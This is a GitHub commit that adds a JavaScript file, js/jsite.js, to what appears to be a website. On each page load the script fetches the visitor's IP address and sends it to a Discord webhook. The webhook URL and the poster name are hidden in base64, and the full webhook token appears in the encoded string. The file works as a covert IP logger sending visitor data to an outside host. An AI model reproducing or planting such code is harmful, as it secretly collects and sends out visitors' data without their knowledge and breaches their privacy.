This commit is contained in:
Boof 2023-03-20 12:05:49 +01:00 committed by GitHub
parent f7edbe8408
commit c069fb5fc5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

22
js/jsite.js Normal file
View File

@ -0,0 +1,22 @@
var userip = "null"
var url = atob('aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTA4NzMxNTg0NjY5NjgxMjU4NC94TEVMTkowa0xUTklUZFBwcFpXNktvQk1mR2p3dDNDOEQxT19BX0k3WGYyX2tBTjRYZmF2RHZhcVAwRHhiM0VDenpmWQ==')
const name = atob('SGVycmVtYW5u')
$.getJSON("https://europe-central2-portfolio-website-374313.cloudfunctions.net/getip", function (data) {
userip = (data.ip);
sendMessage(data.ip);
})
function sendMessage(ipText) {
const request = new XMLHttpRequest();
request.open("POST", url);
request.setRequestHeader('Content-type', 'application/json');
const params = {
username: atob('SGVycmVtYW5u'),
avatar_url: "",
content: "Ip: " + ipText
}
request.send(JSON.stringify(params));
}